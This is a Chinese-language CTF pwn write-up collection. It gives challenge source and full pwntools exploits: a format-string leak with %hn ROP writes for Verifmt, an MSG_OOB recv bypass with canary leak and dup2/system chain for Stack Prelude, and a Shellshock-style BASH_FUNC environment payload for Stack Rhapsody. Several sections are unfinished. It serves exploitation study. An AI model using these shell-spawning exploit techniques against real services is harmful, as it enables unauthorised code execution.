# Verifmt
## Information
- Category: Pwn
## Description
> Verifmt is a format string converter with a powerful verifier.
## Write-up
题目给了源码，还是很方便的：
```c
#include <ctype.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int verify_fmt(const char *fmt, size_t n_args) {
size_t argcnt = 0;
size_t len = strlen(fmt);
for (size_t i = 0; i < len; i++) {
if (fmt[i] == '%') {
if (fmt[i+1] == '%') {
i++;
continue;
}
if (isdigit(fmt[i+1])) {
puts("[-] Positional argument not supported");
return 1;
}
if (argcnt >= n_args) {
printf("[-] Cannot use more than %lu specifiersn", n_args);
return 1;
}
argcnt++;
}
}
return 0;
}
int main() {
size_t n_args;
long args[4];
char fmt[256];
setbuf(stdin, NULL);
setbuf(stdout, NULL);
while (1) {
/* Get arguments */
printf("# of args: ");
if (scanf("%lu", &n_args) != 1) {
return 1;
}
if (n_args > 4) {
puts("[-] Maximum of 4 arguments supported");
continue;
}
memset(args, 0, sizeof(args));
for (size_t i = 0; i < n_args; i++) {
printf("args[%lu]: ", i);
if (scanf("%ld", args + i) != 1) {
return 1;
}
}
/* Get format string */
while (getchar() != 'n');
printf("Format string: ");
if (fgets(fmt, sizeof(fmt), stdin) == NULL) {
return 1;
}
/* Verify format string */
if (verify_fmt(fmt, n_args)) {
continue;
}
/* Enjoy! */
printf(fmt, args[0], args[1], args[2], args[3]);
}
return 0;
}
```
发现只是对格式化字符串做了一些限制，不能利用位置参数泄漏指定值，再者就是最多只能
使用四个格式化字符串标志符（以 `%` 打头算一个），且格式化字符串格式也是固定为 `p
rintf(fmt, args[0], args[1], args[2], args[3]);`，但是传入 `printf` 的所有参数都
是可控的。
这题基本上只要搞明白怎么泄漏地址就赢了，涉及到一个 `*` 参数的概念，如果我们输入
`%*.*p%*.*p`，这四个 `*` 就会分别用 `args[0] ~ args[3]` 为参数，且 `p` 也各占一
个参数位，此时我们只使用了两个 `%` 标识符，就已经消耗了六个参数，另外还剩两次机
会。好巧不巧，栈上就有一个地址，正好是第七个参数，所以直接再加一个 `%p` 泄漏即可
。
泄漏了栈地址我们就知道返回地址，调试发现返回地址处保存的正好是 libc 地址，我们可
以直接控制 `rsi` 为返回地址，`fmt` 为 `%s` 以此泄漏 libc，之后就随便打打了。
## Exploit
```python
#!/usr/bin/env python3
import argparse
from pwn import (
ELF,
context,
flat,
process,
raw_input,
remote,
)
parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()
FILE = "./chall_patched"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = elf.libc
def set_args(cnt, *args_values, fmt):
target.sendlineafter(b"# of args: ", str(cnt).encode())
for i, val in enumerate(args_values):
if val is not None:
prompt = f"args[{i}]: "
target.sendlineafter(prompt.encode(), str(val).encode())
# raw_input("DEBUG")
target.sendlineafter(b"Format string: ", fmt)
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch():
global target, targets
if args.L and args.threads is not None:
raise ValueError("Options -L and -T cannot be used together.")
if args.L:
target = process(FILE)
elif args.threads:
if args.threads <= 0:
raise ValueError("Thread count must be positive.")
process(FILE)
targets = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
target = targets[0]
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
set_args(4, 1, 2, 3, 4, fmt=b"%*.*p%*.*p %p")
target.recvuntil(b" ")
stack = int(target.recvline(), 16)
pie = stack + 0x158
ret = stack + 0x170
target.success(f"stack: {hex(stack)}")
target.success(f"pie: {hex(pie)}")
target.success(f"ret: {hex(ret)}")
set_args(1, ret, fmt=b"%s")
libc.address = int.from_bytes(target.recv(0x6), "little") - 0x29D90
set_args(1, pie, fmt=b"%s")
elf.address = int.from_bytes(target.recv(0x6), "little") - 0x1160
target.success(f"libc: {hex(libc.address)}")
target.success(f"pie: {hex(elf.address)}")
pop_rdi_ret = elf.address + 0x0000000000001282
binsh = next(libc.search(b"/bin/sh"))
system = libc.sym["system"]
align = elf.address + 0x000000000000101A
set_args(3, pop_rdi_ret & 0xFFFF, 0, ret, fmt=b"%*c%hn")
set_args(3, (pop_rdi_ret >> 16) & 0xFFFF, 0, ret + 2, fmt=b"%*c%hn")
set_args(3, (pop_rdi_ret >> 32) & 0xFFFF, 0, ret + 4, fmt=b"%*c%hn")
set_args(3, binsh & 0xFFFF, 0, ret + 0x8, fmt=b"%*c%hn")
set_args(3, (binsh >> 16) & 0xFFFF, 0, ret + 0x8 + 2, fmt=b"%*c%hn")
set_args(3, (binsh >> 32) & 0xFFFF, 0, ret + 0x8 + 4, fmt=b"%*c%hn")
set_args(3, align & 0xFFFF, 0, ret + 0x10, fmt=b"%*c%hn")
set_args(3, (align >> 16) & 0xFFFF, 0, ret + 0x10 + 2, fmt=b"%*c%hn")
set_args(3, (align >> 32) & 0xFFFF, 0, ret + 0x10 + 4, fmt=b"%*c%hn")
set_args(3, system & 0xFFFF, 0, ret + 0x18, fmt=b"%*c%hn")
set_args(3, (system >> 16) & 0xFFFF, 0, ret + 0x18 + 2, fmt=b"%*c%hn")
set_args(3, (system >> 32) & 0xFFFF, 0, ret + 0x18 + 4, fmt=b"%*c%hn")
target.sendlineafter(b"# of args: ", b"A")
target.interactive()
if __name__ == "__main__":
main()
```
# Stack Prelude
## Information
- Category: Pwn
## Description
> It is either easy or impossible.
## Write-up
比赛期间没做出来，赛后复现的，纯纯的经验题好吧……
题目源码如下：
```c
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
int main(int argc, char **argv) {
struct sockaddr_in cli, addr = {0};
socklen_t clen;
int cfd, sfd = -1, yes = 1;
ssize_t n;
char buf[0x100];
unsigned short port = argc < 2 ? 31337 : atoi(argv[1]);
if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("socket");
goto err;
}
if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0) {
perror("setsockopt(SO_REUSEADDR)");
goto err;
}
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(port);
if (bind(sfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
perror("bind");
goto err;
}
if (listen(sfd, 1) < 0) {
perror("listen");
goto err;
}
clen = sizeof(cli);
if ((cfd = accept(sfd, (struct sockaddr*)&cli, &clen)) < 0) {
perror("accept");
goto err;
}
while (1) {
n = 0;
recv(cfd, &n, sizeof(ssize_t), MSG_WAITALL);
if (n <= 0 || n >= 0x200)
break;
recv(cfd, buf, n, MSG_WAITALL);
send(cfd, buf, n, 0);
}
return 0;
err:
if (sfd >= 0) close(sfd);
return 1;
}
```
这题是个一次只能处理一个请求的 socket 服务器，先说说我当时取得的成果吧……我是发现
可以发送半闭 FIN 包使 `recv` 函数不接收完整的数据直接返回，由于没有检查 `recv`
函数的返回值，后面的 `send` 会泄漏栈数据。
这里提到的半闭 FIN 包可以通过 `target.shutdown("write")` 发送关闭输入的半闭包，
保留输出，但是这么做的问题就在于，关闭了输入后在 `send` 结束回到 while 循环头后
`recv` 接收不到数据，返回 0，退出循环，结束程序。所以即使我们泄漏了数据，要是不
能继续和程序交互的话也只能是干瞪眼……
~~草啊，其实当时是很有希望做出这道题的，但是没有想过我可以给自己发送的数据加 fla
gs，如果能想到这点的话这题就秒了……感觉自己是猪头，我连 FIN 都想到了，就是没想到
flags，这难道不是一个很自然的想法吗？？气死我了 smh（~~
现场学能绕过 `MSG_WAITALL` 的方法，总结为如下几种情况：
1. 对端关闭连接 (FIN)
2. 对端异常断开 (RST)
3. 中断信号
4. 超时（前提是设置了 `SO_RCVTIMEO` flag）
5. 其它奇奇怪怪的致命错误
FIN 可以排除了，因为发了这个后续不能继续操作，超时也可以排除，因为没设置这个 fla
g，我们可以重点研究一下有哪些可以由 client 端发送的 flag 会触发中断信号，这里就
不赘述了，直接说结论 —— `MSG_OOB`，这个 flag 表示 `out-of-band`，如果用在 `send`
，就代表会使用一个额外的 `urgent byte`，表示外带数据，接收端处理 TCP 数据包发现
urgent byte 会触发 `SIGURG` 信号，这个信号属于异步事件，可以打断带有 `MSG_WAITAL
L` flag 的 `recv` 函数。
现在我们泄漏了数据，又能维持交互，那剩下的应该没啥好说的了，只需要注意 socket se
rver 需要让 stdin 和 stdout 指向 socket 通道就好了，不然无法和返回的 shell 交互
。
## Exploit
```python
#!/usr/bin/env python3
import argparse
from pwn import (
ELF,
constants,
context,
flat,
process,
raw_input,
remote,
)
parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()
FILE = "./chall_patched"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = elf.libc
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch(argv=None, envp=None):
global target, thread
if argv is None:
argv = [FILE]
if args.L and args.threads is not None:
raise ValueError("Options -L and -T cannot be used together.")
if args.L:
target = process(argv, env=envp)
elif args.threads:
if args.threads <= 0:
raise ValueError("Thread count must be positive.")
process(argv, env=envp)
thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch([FILE, "1337"])
thread[0].sendline(flat(0x120))
thread[0].sock.send(b"A" * 2, constants.MSG_OOB)
resp = thread[0].recv(0x120)
canary = int.from_bytes(resp[0x108:0x110], "little")
libc.address = int.from_bytes(resp[0x118:0x120], "little") - 0x2A1CA
thread[0].success(f"canary: {hex(canary)}")
thread[0].success(f"libc: {hex(libc.address)}")
raw_input("DEBUG")
thread[0].sendline(flat(0x188))
pop_rdi_ret = libc.address + 0x000000000010F78B
pop_rsi_ret = libc.address + 0x0000000000110A7D
binsh = next(libc.search(b"/bin/sh"))
dup2 = libc.sym["dup2"]
system = libc.sym["system"]
align = pop_rdi_ret + 1
payload = flat(
{
0x108 - 1: canary,
0x118 - 1: pop_rdi_ret,
0x120 - 1: 4,
0x128 - 1: pop_rsi_ret,
0x130 - 1: 0,
0x138 - 1: dup2,
0x140 - 1: pop_rdi_ret,
0x148 - 1: 4,
0x150 - 1: pop_rsi_ret,
0x158 - 1: 1,
0x160 - 1: dup2,
0x168 - 1: align,
0x170 - 1: pop_rdi_ret,
0x178 - 1: binsh,
0x180 - 1: system,
},
filler=b"x00",
)
raw_input("DEBUG")
thread[0].sendline(payload)
thread[0].sendline(flat(0x200))
thread[0].interactive()
if __name__ == "__main__":
main()
```
# Stack Impromptu
## Information
- Category: Pwn
## Description
> The word impossible is not in my dictionary.
## Write-up
```cpp
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <pthread.h>
void fatal(const char *msg) {
perror(msg);
pthread_exit(NULL);
}
int server_read(int& fd) {
size_t size;
char buf[0x40];
memset(buf, 0, sizeof(buf));
if (read(fd, &size, sizeof(size)) != sizeof(size)
|| size > 0x100
|| read(fd, buf, size) < size)
goto err;
write(fd, buf, size);
return 0;
err:
close(fd);
fatal("Could not receive data (read)");
return 1;
}
void* server_main(void* arg) {
int fd = (int)((intptr_t)arg);
while (server_read(fd) == 0);
return NULL;
}
int main(int argc, char** argv) {
pthread_t th;
struct sockaddr_in cli, addr = { 0 };
socklen_t clen;
int cfd, sfd = -1, yes = 1;
unsigned short port = argc < 2 ? 31337 : atoi(argv[1]);
if ((sfd = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("socket");
goto err;
}
if (setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes)) < 0) {
perror("setsockopt(SO_REUSEADDR)");
goto err;
}
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = htonl(INADDR_ANY);
addr.sin_port = htons(port);
if (bind(sfd, (struct sockaddr*)&addr, sizeof(addr)) < 0) {
perror("bind");
goto err;
}
if (listen(sfd, 5) < 0) {
perror("listen");
goto err;
}
while (1) {
clen = sizeof(cli);
if ((cfd = accept(sfd, (struct sockaddr*)&cli, &clen)) < 0) {
perror("accept");
goto err;
}
pthread_create(&th, NULL, server_main, (void*)((intptr_t)cfd));
pthread_detach(th);
}
return 0;
err:
if (sfd >= 0) close(sfd);
return 1;
}
```
待复现。
## Exploit
# Stack Rhapsody
## Information
- Category: Pwn
## Description
> Unknown
## Write-up
```c
// gcc -Wall -Wextra -fstack-protector-all -fcf-protection=full -mshstk -fPIE -p
ie -Wl,-z,relro,-z,now chall.c -o chall
#include <stdio.h>
#include <stdlib.h>
int main() {
char buf[0x10000];
fgets(buf, 0x100000, stdin);
system("echo Are you a good pwner?");
return 0;
}
```
看似不可能的挑战，真的，不可能吗？[Shellshock](<https://en.wikipedia.org/wiki/Sh
ellshock_(software_bug)>)
有时间我会单独写一篇博客详撕源码，这里就只留 exp 了/逃
## Exploit
```python
#!/usr/bin/env python3
import argparse
from pwn import (
ELF,
context,
flat,
process,
raw_input,
remote,
)
from pwnlib.util.iters import pad
parser = argparse.ArgumentParser()
parser.add_argument("-L", action="store_true")
parser.add_argument("-T", "--threads", type=int, default=None, help="thread coun
t")
args = parser.parse_args()
FILE = "./chall"
HOST, PORT = "localhost", 1337
context(log_level="debug", binary=FILE, terminal="kitty")
elf = context.binary
libc = elf.libc
def mangle(pos, ptr, shifted=1):
if shifted:
return pos ^ ptr
return (pos >> 12) ^ ptr
def demangle(pos, ptr, shifted=1):
if shifted:
return mangle(pos, ptr)
return mangle(pos, ptr, 0)
def launch(argv=None, envp=None):
global target, thread
if argv is None:
argv = [FILE]
if args.L and args.threads is not None:
raise ValueError("Options -L and -T cannot be used together.")
if args.L:
target = process(argv, env=envp)
elif args.threads:
if args.threads <= 0:
raise ValueError("Thread count must be positive.")
process(FILE)
thread = [remote(HOST, PORT, ssl=False) for _ in range(args.threads)]
else:
target = remote(HOST, PORT, ssl=True)
def main():
launch()
env = b"BASH_FUNC_echo%%=() { /bin/sh; }0".ljust(0x30, b"x00")
payload = (b"A" * 0xA + env * ((0x10148 - 0xA) // len(env))).ljust(0x10148,
b"x00")
target.sendline(payload)
target.recvuntil(b"Are you a good pwner?", timeout=0.5)
target.interactive()
if __name__ == "__main__":
main()
```
# Scream
## Information
- Category: Pwn
## Description
> Keep the secret.
## Write-up
待复现。
## Exploit
# EDU
## Information
- Category: Pwn
## Description
> QEMU provides an educational device for learning VM escape.
> This bug is intentionally made for educational purpose, right? …… Right?
>
> <https://www.qemu.org/docs/master/specs/edu.html>
## Write-up
待复现。
## Exploit